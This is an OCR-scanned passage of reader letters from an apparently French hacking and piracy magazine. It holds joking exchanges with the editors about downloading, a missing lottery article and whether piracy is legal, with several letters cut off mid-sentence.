I'ADSL, il en a besoin pour son travail, et aussi
pour télécharger des films de ¢** quand vous
aurez le dos tourné. Merci pour votre compré-
hension.

Salut a toi 0 maitre spirituel... En fait, j'ai
4 questions. 1) Quand on vous écrit, vous nous
répondez dans notre hoite ou vous ne sélec-
tionnez que certaines questions auxquelles

Bonjour, je suis a la recherche de I'article
du numéro 7 "Exclusif : gagnez au loto page
55". Le magazine ne fait que 32 pages :-((.
Le Pirat'z Pocket en fait bien 56, mais aucun
article concernant le loto en page 55...

Mythea2001

Je voudrais dire que votre magazine est
super bien, mais pourquoi faire ce genre de
magazine alors que le piratage est interdit ?

Mark

Parce qu'on aime ¢a les voyages aux Antilles
et les voitures de sport. Pas toi ?
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